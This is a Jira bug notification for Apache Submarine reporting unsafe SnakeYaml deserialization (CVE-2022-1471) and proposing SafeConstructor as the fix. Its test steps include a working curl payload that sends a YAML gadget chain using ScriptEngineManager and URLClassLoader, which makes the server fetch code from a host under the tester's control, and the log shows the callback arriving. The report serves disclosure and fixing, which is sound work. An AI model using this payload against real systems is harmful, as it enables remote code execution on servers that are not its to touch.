cdmikechen created SUBMARINE-1371:
-------------------------------------

             Summary: Fix unsafe deserialization via SnakeYaml in 
YamlEntityProvider
                 Key: SUBMARINE-1371
                 URL: https://issues.apache.org/jira/browse/SUBMARINE-1371
             Project: Apache Submarine
          Issue Type: Bug
          Components: Backend Server
            Reporter: cdmikechen


Use SnakeYaml's SafeConstructor to replace default Yaml no arguments 
constructor to void unsafe deserialization.

Link url: [https://nvd.nist.gov/vuln/detail/CVE-2022-1471]

Test steps:
 # start a server with *python3 -m http.server 8080*
 # start submarine
 # test submarine with command 
{code:sh}
curl --location 'http://127.0.0.1:32080/api/v1/serve/' \
--header 'Content-Type: application/yaml' \
--data '!!org.apache.submarine.server.api.model.ServeSpec: modelName: 
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL 
["http://localhost:8080";]]]]'
{code}
# we can see python server receive url like this:
{code:sh}
Serving HTTP on :: port 8080 (http://[::]:8080/) ...
::ffff:127.0.0.1 - - [05/Mar/2023 16:12:01] "GET / HTTP/1.1" 200 -
{code}



--
This message was sent by Atlassian Jira
(v8.20.10#820010)

---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]

Reply via email to